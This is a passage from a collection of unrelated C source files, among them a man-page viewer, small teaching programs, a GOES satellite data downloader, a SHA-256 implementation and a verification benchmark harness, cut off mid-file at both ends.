fprintf(stderr, "man: %s: %s\n", whatis, strerror(errno));
exit(1);
}
fclose(wf);
return rsp;
}
int trysubmandir(char *mandir, char *title, char *section)
/* Search the subdirectories of this manual directory for whatis files, they
* may have manual pages that override the ones in the major directory.
*/
{
char submandir[1024];
DIR *md;
struct dirent *entry;
if ((md= opendir(mandir)) == nil) return 0;
while ((entry= readdir(md)) != nil) {
if (strcmp(entry->d_name, ".") == 0
|| strcmp(entry->d_name, "..") == 0) continue;
if ((strncmp(entry->d_name, "man", 3) == 0
|| strncmp(entry->d_name, "cat", 3) == 0)
&& between('0', entry->d_name[3], '9')) continue;
if (strlen(mandir) + 1 + strlen(entry->d_name) + 1
> arraysize(submandir)) continue;
sprintf(submandir, "%s/%s", mandir, entry->d_name);
if (trymandir(submandir, title, section) && !all) {
closedir(md);
return 1;
}
}
closedir(md);
return 0;
}
void searchmanpath(char *title, char *section)
/* Search the manual path for a manual page describing "title." */
{
char mandir[1024];
char *pp= manpath, *pd;
for (;;) {
while (*pp != 0 && *pp == ':') pp++;
if (*pp == 0) break;
pd= mandir;
while (*pp != 0 && *pp != ':') {
if (pd < arraylimit(mandir)) *pd++= *pp;
pp++;
}
if (pd == arraylimit(mandir)) continue; /* forget it */
*pd= 0;
if (trysubmandir(mandir, title, section) && !all) break;
if (trymandir(mandir, title, section) && !all) break;
}
}
void usage(void)
{
fprintf(stderr, "Usage: man -[antfkq] [-M path] [-s section] title ...\n");
exit(1);
}
int main(int argc, char **argv)
{
char *title, *section= ALL;
int i;
int nomoreopt= 0;
char *opt;
if ((pager= getenv("PAGER")) == nil) pager= PAGER;
if ((manpath= getenv("MANPATH")) == nil) manpath= MANPATH;
tty= isatty(1);
i= 1;
do {
while (i < argc && argv[i][0] == '-' && !nomoreopt) {
opt= argv[i++]+1;
if (opt[0] == '-' && opt[1] == 0) {
nomoreopt= 1;
break;
}
while (*opt != 0) {
switch (*opt++) {
case 'a':
all= 1;
break;
case 'f':
whatis= 1;
break;
case 'k':
apropos= 1;
break;
case 'q':
quiet= 1;
break;
case 'n':
rofftype= NROFF;
apropos= whatis= 0;
break;
case 't':
rofftype= TROFF;
apropos= whatis= 0;
break;
case 's':
if (*opt == 0) {
if (i == argc) usage();
section= argv[i++];
} else {
section= opt;
opt= "";
}
break;
case 'M':
if (*opt == 0) {
if (i == argc) usage();
manpath= argv[i++];
} else {
manpath= opt;
opt= "";
}
break;
default:
usage();
}
}
}
if (i >= argc) usage();
if (between('0', argv[i][0], '9') && i+1 < argc) {
/* Old BSD style section designation? */
section= argv[i++];
}
if (i == argc) usage();
title= argv[i++];
if (whatis || apropos) {
keyword(title);
} else {
shown= 0;
searchmanpath(title, section);
if (!shown) (void) showpage(title, MAN, "-man");
if (!shown) {
if (!quiet) {
fprintf(stderr,
"man: no manual on %s\n",
title);
}
exit(1);
}
}
} while (i < argc);
return 0;
}
|
the_stack_data/70449317.c
|
#include <stdio.h>
// 64bit CPU
//= 64bit address space
//= [0, 18446744073709551616)
int main() {
// 4 bytes = 32bits
int variable = 42;
printf("variable: %d\n", variable);
// 0 <= address of 'variable' < 18446744073709551616
// 8 bytes = 64bits
//
// Address without type information
long address = &variable;
// long decimal
printf("long address: %ld\n", address);
// Pointer is just an address with
// "type" information of original value
int* pointer = address;
printf("int* pointer: %ld\n", pointer);
// *address = 124;
*pointer = 124;
printf("variable: %d\n", variable);
}
|
the_stack_data/43638.c
|
// evaluating two functions sin(x) and cos(x) and storing the results in text file
#include<stdio.h>
#include <math.h>
int main()
{
float x;
//FILE*fp: declaring a pointer of type file
//NULL: to make sure the file was successfully opened
FILE*fp=NULL;
fp=fopen("trig.txt","w"); //w: open a file handle in write mode
// pi/4 is 0.7853981634 rad
for (x=0;x<=0.78; x+=0.01)
{
//print line to the file
fprintf(fp, "%f\t %f\t %f\t %f\n",x,sin(x),cos(x),tan(x));
}
fclose(fp); //close the file handle
return 0;
}
|
the_stack_data/1135058.c
|
//clang -Xclang -ast-dump -fsyntax-only main.c
#include <stdio.h>
long long b = 5;
long long c = 10;
long long d = 55;
long long e = 55;
long long *pc;
long long **ppc;
int main() {
c++;
pc = &c;
ppc = &pc;
(*ppc)--;
e = **ppc;
printf("%lld\n", b);
printf("%lld\n", c);
printf("%lld\n", d);
printf("%lld\n", e);
return 0;
}
|
the_stack_data/84438.c
|
#include <stdio.h>
int main()
{
int a,b,i,j,s=1;
scanf("%d%d",&a,&b);
if(b==0||a==b)
{
printf("1");
return 0;
}
for(i=1,j=a;i<=b;i++,j--)
{
s=s*j/i;
}
printf("%d",s);
return 0;
}
|
the_stack_data/743769.c
|
#include <stdio.h>
#include <stdlib.h>
#define MAX 5
int pri_que[MAX];
int front, rear;
void create()
{
front = rear = -1;
}
void insert_by_priority(int data)
{
if (rear >= MAX - 1)
{
printf("\nQueue overflow no more elements can be inserted");
return;
}
if ((front == -1) && (rear == -1))
{
front++;
rear++;
pri_que[rear] = data;
return;
}
else
check(data);
rear++;
}
void check(int data)
{
int i,j;
for (i = 0; i <= rear; i++)
{
if (data >= pri_que[i])
{
for (j = rear + 1; j > i; j--)
{
pri_que[j] = pri_que[j - 1];
}
pri_que[i] = data;
return;
}
}
pri_que[i] = data;
}
void delete_by_priority(int data)
{
int i;
if ((front==-1) && (rear==-1))
{
printf("\nQueue is empty no elements to delete");
return;
}
for (i = 0; i <= rear; i++)
{
if (data == pri_que[i])
{
for (; i < rear; i++)
{
pri_que[i] = pri_que[i + 1];
}
pri_que[i] = -99;
rear--;
if (rear == -1)
front = -1;
return;
}
}
printf("\n%d not found in queue to delete", data);
}
void display_pqueue()
{
if ((front == -1) && (rear == -1))
{
printf("\nQueue is empty");
return;
}
for (; front <= rear; front++)
{
printf(" %d ", pri_que[front]);
}
front = 0;
}
void main()
{
int n, ch;
printf("\n1 - Insert an element into queue");
printf("\n2 - Delete an element from queue");
printf("\n3 - Display queue elements");
printf("\n4 - Exit");
create();
while (1)
{
printf("\nEnter your choice : ");
scanf("%d", &ch);
switch (ch)
{
case 1:
printf("\nEnter value to be inserted : ");
scanf("%d",&n);
insert_by_priority(n);
break;
case 2:
printf("\nEnter value to delete : ");
scanf("%d",&n);
delete_by_priority(n);
break;
case 3:
display_pqueue();
break;
case 4:
exit(0);
default:
printf("\nChoice is incorrect, Enter a correct choice");
}
}
}
|
the_stack_data/26701389.c
|
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <string.h>
#include <inttypes.h>
#define DIM(x) (sizeof(x)/sizeof(*(x)))
#define ENDPOINT "api/servers/get_goes"
#define PORT 8081
#define TAM 512
#define DATE_ENTRY 3
int months[] = {31,28,31,30,31,30,31,31,30,31,30,31};
// static const char *sizes[] = {"TB", "GB", "MB", "KB", "B" };
// static const uint64_t exbibytes = 1024ULL * 1024ULL * 1024ULL * 1024ULL;
// char* conversion(uint64_t size)
// {
// char *result = (char *) malloc(sizeof(char) * 20);
// uint64_t multiplier = exbibytes;
// int i;
// for (i = 0; i < DIM(sizes); i++, multiplier /= 1024)
// {
// if (size < multiplier){
// continue;
// }
// else{
// sprintf(result, "%.1f %s", (float) size / multiplier, sizes[i]);
// }
// return result;
// }
// strcpy(result, "0");
// return result;
// }
// int get_file_size(const char* filename){
// char path[1024];
// sprintf(path, "../data/%s",filename);
// struct stat st; /*declare stat variable*/
// if(stat(path, &st) == 0)
// return ((int)st.st_size);
// else
// return -1;
// }
int is_leap_year(int year){
if(((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)){
return 1;
}
return 0;
}
void download_file(char data[TAM], int year, int acum_day){
FILE *file;
file = popen(data, "r");
if(file == NULL){
perror("Failed to run command \n");
exit(EXIT_FAILURE);
}
printf("BUFFER = |%s|", data);
bzero(data, TAM);
if(fgets(data, TAM, file) == NULL){
perror("Failed fgets\n");
exit(EXIT_FAILURE);
}
pclose(file);
//printf("BUFFER = %s", buffer);
char* nc_file_name;
nc_file_name = strtok(data, " ");
for(int i=0; i<4; i++){
nc_file_name = strtok(NULL, " ");
}
char command[TAM];
nc_file_name[strlen(nc_file_name)-1]='\0';
printf("token = |%s|\n", nc_file_name);
sprintf(command, "cd ../data && aws s3 cp s3://noaa-goes16/ABI-L2-RRQPEF/%d/%03d/03/%s . --no-sign-request &", year, acum_day, nc_file_name);
printf("COMMAND = %s\n", command);
system(command);
}
int is_valid(int date[DATE_ENTRY]){
for(int i=0; i<DATE_ENTRY; i++){
if(date[i] <= 0){
return 0;
}
}
if(date[1] > 12){
return 0;
}
if(date[2] > months[date[1] - 1]){
return 0;
}
return 1;
}
int main(){
/* "file_id": 1
"link": "http://{{server}}/data/OR_ABI-L2-MCMIPF-M6_G16_s20210661636116_e20210661638489_c20210661638589.nc",
"filesize": "345 kb"
*/
/* DIR *d;
struct dirent *dir;
d = opendir("../data");
char buffer [512];
int file_id = 0;
if(d){
while ((dir = readdir(d)) != NULL){
if(strcmp(dir->d_name, ".") && strcmp(dir->d_name, "..")){
printf("file_id = %d\n", file_id);
sprintf(buffer,"http://localhost:%d/%s/data/%s", PORT, ENDPOINT, dir->d_name);
printf("%s\n", buffer);
printf("file size = %s\n", conversion(get_file_size(dir->d_name)));
file_id++;
}
}
closedir(d);
}*/
//get_file_size("../data/OR_ABI-L2-RRQPEF-M6_G16_s20193371340201_e20193371349509_c20193371350041.nc");
//"Y%m%d%h"
char datetime[] = "2020-12-30";
char *token;
int date[DATE_ENTRY];//year/month/day
//int year = 0, month = 0, day = 0;
printf("datatime = %s\n", datetime);
token = strtok(datetime, "-");
date[0] = (int)strtol(token, NULL, 10);
for(int i=1; i<DATE_ENTRY; i++){
token = strtok(NULL, "-");
date[i] = (int)strtol(token, NULL, 10);
}
printf("year = %d, month = %d, day = %d\n", date[0], date[1], date[2]);
if(is_valid(date)){
if(is_leap_year(date[0])){
months[1]++;
}
int acum_day = 0;
for(int i = 0; i<(date[1]-1); i++){
acum_day += months[i];
printf("acum_day = %d\n", acum_day);
}
acum_day += date[2];
printf("\nacum_day = %d\n", acum_day);
printf("año=%d dayacum = %d, dia = %d\n", date[0], acum_day, date[2]);
months[1]--;
char data[TAM];
sprintf(data, " aws s3 ls noaa-goes16/ABI-L2-RRQPEF/%d/%03d/03/ --human-readable --no-sign-request 2>&1", date[0], acum_day);
printf("DATA = %s\n", data);
download_file(data, date[0], acum_day);
}
// token = strtok(NULL, "-");
// month = (int)strtol(token, NULL, 10);
// token = strtok(NULL, "-");
// day = (int)strtol(token, NULL, 10);
return(0);
}
|
the_stack_data/145017.c
|
#include <stdio.h>
void square(int * const n)
{
*n = *n * *n;
}
int main(void)
{
int n = 10;
square(&n);
printf("Squared number is %d\n", n);
}
|
the_stack_data/305245.c
|
/*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
float distance;
int amount;
printf("Enter Distance : ");
scanf("%f",&distance);
//round(distance);
if(distance > 30){
amount = (distance - 30) * 40 + 30 * 50;
printf("Charge For Trip : %d",amount);
}
else{
amount = 50 * distance;
printf("Charge For Trip : %d",amount);
}
return 0;
}
|
the_stack_data/930974.c
|
/*
* sha512.c - implementation of SHA224, SHA256, SHA384 and SHA512
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include <string.h>
#include <stdlib.h>
//little endian machine
#define IS_LITTLE_ENDIAN 1
//asm swap should be on for analyses that can't reason about assembly
#define ASM_SWAP 0
//ports
#define PORT_Alloc(size) malloc(size)
#define PORT_New(type) (type*)PORT_Alloc(sizeof(type))
#define PORT_Free(ctx) free(ctx)
#define PORT_Strlen(str) strlen(str)
#define PORT_Memcpy(destination, source, num) memcpy(destination, source, num)
//from nspr prtypes.h
typedef unsigned char PRUint8;
typedef unsigned int PRUint32;
typedef int PRIntn;
typedef PRIntn PRBool;
#define PR_TRUE 1
#define PR_FALSE 0
#define PR_MIN(x,y) ((x)<(y)?(x):(y))
//from sha256.h
struct SHA256ContextStr {
union {
PRUint32 w[64]; /* message schedule, input buffer, plus 48 words */
PRUint8 b[256];
} u;
PRUint32 h[8]; /* 8 state variables */
PRUint32 sizeHi,sizeLo; /* 64-bit count of hashed bytes. */
};
//from blapit.h
typedef struct SHA256ContextStr SHA256Context;
#define SHA256_LENGTH 32 /* bytes */
#define SHA256_BLOCK_LENGTH 64 /* bytes */
/* ============= Common constants and defines ======================= */
#define W ctx->u.w
#define B ctx->u.b
#define H ctx->h
#define SHR(x,n) (x >> n)
#define SHL(x,n) (x << n)
#define Ch(x,y,z) ((x & y) ^ (~x & z))
#define Maj(x,y,z) ((x & y) ^ (x & z) ^ (y & z))
#define SHA_MIN(a,b) (a < b ? a : b)
/* Padding used with all flavors of SHA */
static const PRUint8 pad[240] = {
0x80,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
/* compiler will fill the rest in with zeros */
};
/* ============= SHA256 implementation ================================== */
/* SHA-256 constants, K256. */
static const PRUint32 K256[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};
/* SHA-256 initial hash values */
static const PRUint32 H256[8] = {
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
};
static inline void be32enc(void *pp, PRUint32 x)
{
PRUint8 * p = (PRUint8 *)pp;
p[3] = x & 0xff;
p[2] = (x >> 8) & 0xff;
p[1] = (x >> 16) & 0xff;
p[0] = (x >> 24) & 0xff;
}
static void
be32enc_vect(unsigned char *dst, const PRUint32 *src, size_t len)
{
size_t i;
for (i = 0; i < len / 4; i++) {
be32enc(dst + i * 4, src[i]);
}
}
static void be32enc_vect_inplace(PRUint32 *src, size_t len){
size_t i;
PRUint32 tmp;
PRUint32 * pt;
for(i=0; i<len/4; i++){
be32enc(&tmp, src[i]);
src[i] = tmp;
}
}
#define HOST_c2l(c,l) (l =(((unsigned long)(*((c)++)))<<24), \
l|=(((unsigned long)(*((c)++)))<<16), \
l|=(((unsigned long)(*((c)++)))<< 8), \
l|=(((unsigned long)(*((c)++))) ), \
l)
static __inline__ PRUint32 swap4b(PRUint32 value)
{
__asm__("bswap %0" : "+r" (value));
return (value);
}
#define SHA_HTONL(x) swap4b(x)
#define BYTESWAP4(x) x = SHA_HTONL(x)
#if defined(_MSC_VER)
#pragma intrinsic (_lrotr, _lrotl)
#define ROTR32(x,n) _lrotr(x,n)
#define ROTL32(x,n) _lrotl(x,n)
#else
#define ROTR32(x,n) ((x >> n) | (x << ((8 * sizeof x) - n)))
#define ROTL32(x,n) ((x << n) | (x >> ((8 * sizeof x) - n)))
#endif
/* Capitol Sigma and lower case sigma functions */
#define S0(x) (ROTR32(x, 2) ^ ROTR32(x,13) ^ ROTR32(x,22))
#define S1(x) (ROTR32(x, 6) ^ ROTR32(x,11) ^ ROTR32(x,25))
#define s0(x) (t1 = x, ROTR32(t1, 7) ^ ROTR32(t1,18) ^ SHR(t1, 3))
#define s1(x) (t2 = x, ROTR32(t2,17) ^ ROTR32(t2,19) ^ SHR(t2,10))
SHA256Context *
SHA256_NewContext(void)
{
SHA256Context *ctx = PORT_New(SHA256Context);
return ctx;
}
void
SHA256_DestroyContext(SHA256Context *ctx, PRBool freeit)
{
memset(ctx, 0, sizeof *ctx);
if (freeit) {
PORT_Free(ctx);
}
}
void
SHA256_Begin(SHA256Context *ctx)
{
memset(ctx, 0, sizeof *ctx);
memcpy(H, H256, sizeof H256);
}
static void
SHA256_Compress(SHA256Context *ctx)
{
{
register PRUint32 t1, t2;
#if defined(IS_LITTLE_ENDIAN)
#if !ASM_SWAP
be32enc_vect_inplace(W, 64);
#else
BYTESWAP4(W[0]);
BYTESWAP4(W[1]);
BYTESWAP4(W[2]);
BYTESWAP4(W[3]);
BYTESWAP4(W[4]);
BYTESWAP4(W[5]);
BYTESWAP4(W[6]);
BYTESWAP4(W[7]);
BYTESWAP4(W[8]);
BYTESWAP4(W[9]);
BYTESWAP4(W[10]);
BYTESWAP4(W[11]);
BYTESWAP4(W[12]);
BYTESWAP4(W[13]);
BYTESWAP4(W[14]);
BYTESWAP4(W[15]);
#endif
#endif
#define INITW(t) W[t] = (s1(W[t-2]) + W[t-7] + s0(W[t-15]) + W[t-16])
/* prepare the "message schedule" */
#ifdef NOUNROLL256
{
int t;
for (t = 16; t < 64; ++t) {
INITW(t);
}
}
#else
INITW(16);
INITW(17);
INITW(18);
INITW(19);
INITW(20);
INITW(21);
INITW(22);
INITW(23);
INITW(24);
INITW(25);
INITW(26);
INITW(27);
INITW(28);
INITW(29);
INITW(30);
INITW(31);
INITW(32);
INITW(33);
INITW(34);
INITW(35);
INITW(36);
INITW(37);
INITW(38);
INITW(39);
INITW(40);
INITW(41);
INITW(42);
INITW(43);
INITW(44);
INITW(45);
INITW(46);
INITW(47);
INITW(48);
INITW(49);
INITW(50);
INITW(51);
INITW(52);
INITW(53);
INITW(54);
INITW(55);
INITW(56);
INITW(57);
INITW(58);
INITW(59);
INITW(60);
INITW(61);
INITW(62);
INITW(63);
#endif
#undef INITW
}
{
PRUint32 a, b, c, d, e, f, g, h;
a = H[0];
b = H[1];
c = H[2];
d = H[3];
e = H[4];
f = H[5];
g = H[6];
h = H[7];
#define ROUND(n,a,b,c,d,e,f,g,h) \
h += S1(e) + Ch(e,f,g) + K256[n] + W[n]; \
d += h; \
h += S0(a) + Maj(a,b,c);
#ifdef NOUNROLL256
{
int t;
for (t = 0; t < 64; t+= 8) {
ROUND(t+0,a,b,c,d,e,f,g,h)
ROUND(t+1,h,a,b,c,d,e,f,g)
ROUND(t+2,g,h,a,b,c,d,e,f)
ROUND(t+3,f,g,h,a,b,c,d,e)
ROUND(t+4,e,f,g,h,a,b,c,d)
ROUND(t+5,d,e,f,g,h,a,b,c)
ROUND(t+6,c,d,e,f,g,h,a,b)
ROUND(t+7,b,c,d,e,f,g,h,a)
}
}
#else
ROUND( 0,a,b,c,d,e,f,g,h)
ROUND( 1,h,a,b,c,d,e,f,g)
ROUND( 2,g,h,a,b,c,d,e,f)
ROUND( 3,f,g,h,a,b,c,d,e)
ROUND( 4,e,f,g,h,a,b,c,d)
ROUND( 5,d,e,f,g,h,a,b,c)
ROUND( 6,c,d,e,f,g,h,a,b)
ROUND( 7,b,c,d,e,f,g,h,a)
ROUND( 8,a,b,c,d,e,f,g,h)
ROUND( 9,h,a,b,c,d,e,f,g)
ROUND(10,g,h,a,b,c,d,e,f)
ROUND(11,f,g,h,a,b,c,d,e)
ROUND(12,e,f,g,h,a,b,c,d)
ROUND(13,d,e,f,g,h,a,b,c)
ROUND(14,c,d,e,f,g,h,a,b)
ROUND(15,b,c,d,e,f,g,h,a)
ROUND(16,a,b,c,d,e,f,g,h)
ROUND(17,h,a,b,c,d,e,f,g)
ROUND(18,g,h,a,b,c,d,e,f)
ROUND(19,f,g,h,a,b,c,d,e)
ROUND(20,e,f,g,h,a,b,c,d)
ROUND(21,d,e,f,g,h,a,b,c)
ROUND(22,c,d,e,f,g,h,a,b)
ROUND(23,b,c,d,e,f,g,h,a)
ROUND(24,a,b,c,d,e,f,g,h)
ROUND(25,h,a,b,c,d,e,f,g)
ROUND(26,g,h,a,b,c,d,e,f)
ROUND(27,f,g,h,a,b,c,d,e)
ROUND(28,e,f,g,h,a,b,c,d)
ROUND(29,d,e,f,g,h,a,b,c)
ROUND(30,c,d,e,f,g,h,a,b)
ROUND(31,b,c,d,e,f,g,h,a)
ROUND(32,a,b,c,d,e,f,g,h)
ROUND(33,h,a,b,c,d,e,f,g)
ROUND(34,g,h,a,b,c,d,e,f)
ROUND(35,f,g,h,a,b,c,d,e)
ROUND(36,e,f,g,h,a,b,c,d)
ROUND(37,d,e,f,g,h,a,b,c)
ROUND(38,c,d,e,f,g,h,a,b)
ROUND(39,b,c,d,e,f,g,h,a)
ROUND(40,a,b,c,d,e,f,g,h)
ROUND(41,h,a,b,c,d,e,f,g)
ROUND(42,g,h,a,b,c,d,e,f)
ROUND(43,f,g,h,a,b,c,d,e)
ROUND(44,e,f,g,h,a,b,c,d)
ROUND(45,d,e,f,g,h,a,b,c)
ROUND(46,c,d,e,f,g,h,a,b)
ROUND(47,b,c,d,e,f,g,h,a)
ROUND(48,a,b,c,d,e,f,g,h)
ROUND(49,h,a,b,c,d,e,f,g)
ROUND(50,g,h,a,b,c,d,e,f)
ROUND(51,f,g,h,a,b,c,d,e)
ROUND(52,e,f,g,h,a,b,c,d)
ROUND(53,d,e,f,g,h,a,b,c)
ROUND(54,c,d,e,f,g,h,a,b)
ROUND(55,b,c,d,e,f,g,h,a)
ROUND(56,a,b,c,d,e,f,g,h)
ROUND(57,h,a,b,c,d,e,f,g)
ROUND(58,g,h,a,b,c,d,e,f)
ROUND(59,f,g,h,a,b,c,d,e)
ROUND(60,e,f,g,h,a,b,c,d)
ROUND(61,d,e,f,g,h,a,b,c)
ROUND(62,c,d,e,f,g,h,a,b)
ROUND(63,b,c,d,e,f,g,h,a)
#endif
H[0] += a;
H[1] += b;
H[2] += c;
H[3] += d;
H[4] += e;
H[5] += f;
H[6] += g;
H[7] += h;
}
#undef ROUND
}
#undef s0
#undef s1
#undef S0
#undef S1
void
SHA256_Update_nss(SHA256Context *ctx, const unsigned char *input,
unsigned int inputLen)
{
unsigned int inBuf = ctx->sizeLo & 0x3f;
if (!inputLen)
return;
/* Add inputLen into the count of bytes processed, before processing */
if ((ctx->sizeLo += inputLen) < inputLen)
ctx->sizeHi++;
/* if data already in buffer, attemp to fill rest of buffer */
if (inBuf) {
unsigned int todo = SHA256_BLOCK_LENGTH - inBuf;
if (inputLen < todo)
todo = inputLen;
memcpy(B + inBuf, input, todo);
input += todo;
inputLen -= todo;
if (inBuf + todo == SHA256_BLOCK_LENGTH)
SHA256_Compress(ctx);
}
/* if enough data to fill one or more whole buffers, process them. */
while (inputLen >= SHA256_BLOCK_LENGTH) {
memcpy(B, input, SHA256_BLOCK_LENGTH);
input += SHA256_BLOCK_LENGTH;
inputLen -= SHA256_BLOCK_LENGTH;
SHA256_Compress(ctx);
}
/* if data left over, fill it into buffer */
if (inputLen)
memcpy(B, input, inputLen);
}
void
SHA256_End(SHA256Context *ctx, unsigned char *digest,
unsigned int *digestLen, unsigned int maxDigestLen)
{
unsigned int inBuf = ctx->sizeLo & 0x3f;
unsigned int padLen = (inBuf < 56) ? (56 - inBuf) : (56 + 64 - inBuf);
PRUint32 hi, lo;
#ifdef SWAP4MASK
PRUint32 t1;
#endif
hi = (ctx->sizeHi << 3) | (ctx->sizeLo >> 29);
lo = (ctx->sizeLo << 3);
SHA256_Update_nss(ctx, pad, padLen);
#if defined(IS_LITTLE_ENDIAN)
#if !ASM_SWAP
be32enc(&W[14], hi);
be32enc(&W[15], lo);
#else
W[14] = SHA_HTONL(hi);
W[15] = SHA_HTONL(lo);
#endif
#else
W[14] = hi;
W[15] = lo;
#endif
SHA256_Compress(ctx);
/* now output the answer */
#if defined(IS_LITTLE_ENDIAN)
#if !ASM_SWAP
be32enc_vect(digest, H, 32);
#else
BYTESWAP4(H[0]);
BYTESWAP4(H[1]);
BYTESWAP4(H[2]);
BYTESWAP4(H[3]);
BYTESWAP4(H[4]);
BYTESWAP4(H[5]);
BYTESWAP4(H[6]);
BYTESWAP4(H[7]);
#endif
#endif
padLen = PR_MIN(SHA256_LENGTH, maxDigestLen);
#if ASM_SWAP
memcpy(digest, H, padLen);
#endif
if (digestLen)
*digestLen = padLen;
}
void
SHA256_EndRaw(SHA256Context *ctx, unsigned char *digest,
unsigned int *digestLen, unsigned int maxDigestLen)
{
PRUint32 h[8];
unsigned int len;
#ifdef SWAP4MASK
PRUint32 t1;
#endif
memcpy(h, ctx->h, sizeof(h));
#if defined(IS_LITTLE_ENDIAN)
BYTESWAP4(h[0]);
BYTESWAP4(h[1]);
BYTESWAP4(h[2]);
BYTESWAP4(h[3]);
BYTESWAP4(h[4]);
BYTESWAP4(h[5]);
BYTESWAP4(h[6]);
BYTESWAP4(h[7]);
#endif
len = PR_MIN(SHA256_LENGTH, maxDigestLen);
memcpy(digest, h, len);
if (digestLen)
*digestLen = len;
}
int
SHA256_HashBuf(unsigned char *dest, const unsigned char *src,
unsigned short src_length)
{
SHA256Context ctx;
unsigned int outLen;
SHA256_Begin(&ctx);
SHA256_Update_nss(&ctx, src, src_length);
SHA256_End(&ctx, dest, &outLen, SHA256_LENGTH);
memset(&ctx, 0, sizeof ctx);
return 1;
}
int
SHA256_Hash(unsigned char *dest, const char *src)
{
return SHA256_HashBuf(dest, (const unsigned char *)src, PORT_Strlen(src));
}
void SHA256_TraceState(SHA256Context *ctx) { }
unsigned int
SHA256_FlattenSize(SHA256Context *ctx)
{
return sizeof *ctx;
}
int
SHA256_Flatten(SHA256Context *ctx,unsigned char *space)
{
PORT_Memcpy(space, ctx, sizeof *ctx);
return 1;
}
SHA256Context *
SHA256_Resurrect(unsigned char *space, void *arg)
{
SHA256Context *ctx = SHA256_NewContext();
if (ctx)
PORT_Memcpy(ctx, space, sizeof *ctx);
return ctx;
}
void SHA256_Clone(SHA256Context *dest, SHA256Context *src)
{
memcpy(dest, src, sizeof *dest);
}
|
the_stack_data/61076468.c
|
extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool _J125, _x__J125;
bool _J116, _x__J116;
bool _EL_U_97, _x__EL_U_97;
float x_2, _x_x_2;
float x_0, _x_x_0;
bool _EL_U_95, _x__EL_U_95;
float x_3, _x_x_3;
float x_1, _x_x_1;
int __steps_to_fair = __VERIFIER_nondet_int();
_J125 = __VERIFIER_nondet_bool();
_J116 = __VERIFIER_nondet_bool();
_EL_U_97 = __VERIFIER_nondet_bool();
x_2 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
_EL_U_95 = __VERIFIER_nondet_bool();
x_3 = __VERIFIER_nondet_float();
x_1 = __VERIFIER_nondet_float();
bool __ok = (1 && ((((((x_0 + (-1.0 * x_1)) <= -15.0) || (( !((x_0 + (-1.0 * x_2)) <= 20.0)) && _EL_U_95)) || (( !((x_0 + (-1.0 * x_2)) <= -3.0)) && _EL_U_97)) && ( !_J116)) && ( !_J125)));
while (__steps_to_fair >= 0 && __ok) {
if ((_J116 && _J125)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x__J125 = __VERIFIER_nondet_bool();
_x__J116 = __VERIFIER_nondet_bool();
_x__EL_U_97 = __VERIFIER_nondet_bool();
_x_x_2 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x__EL_U_95 = __VERIFIER_nondet_bool();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_1 = __VERIFIER_nondet_float();
__ok = ((((((((x_0 + (-1.0 * _x_x_0)) <= -1.0) && ((x_2 + (-1.0 * _x_x_0)) <= -8.0)) && (((x_0 + (-1.0 * _x_x_0)) == -1.0) || ((x_2 + (-1.0 * _x_x_0)) == -8.0))) && ((((x_0 + (-1.0 * _x_x_1)) <= -8.0) && ((x_3 + (-1.0 * _x_x_1)) <= -9.0)) && (((x_0 + (-1.0 * _x_x_1)) == -8.0) || ((x_3 + (-1.0 * _x_x_1)) == -9.0)))) && ((((x_0 + (-1.0 * _x_x_2)) <= -15.0) && ((x_3 + (-1.0 * _x_x_2)) <= -4.0)) && (((x_0 + (-1.0 * _x_x_2)) == -15.0) || ((x_3 + (-1.0 * _x_x_2)) == -4.0)))) && ((((x_1 + (-1.0 * _x_x_3)) <= -1.0) && ((x_2 + (-1.0 * _x_x_3)) <= -11.0)) && (((x_1 + (-1.0 * _x_x_3)) == -1.0) || ((x_2 + (-1.0 * _x_x_3)) == -11.0)))) && ((((_EL_U_95 == ((_x__EL_U_95 && ( !((_x_x_0 + (-1.0 * _x_x_2)) <= 20.0))) || ((_x_x_0 + (-1.0 * _x_x_1)) <= -15.0))) && (_EL_U_97 == (((_x__EL_U_95 && ( !((_x_x_0 + (-1.0 * _x_x_2)) <= 20.0))) || 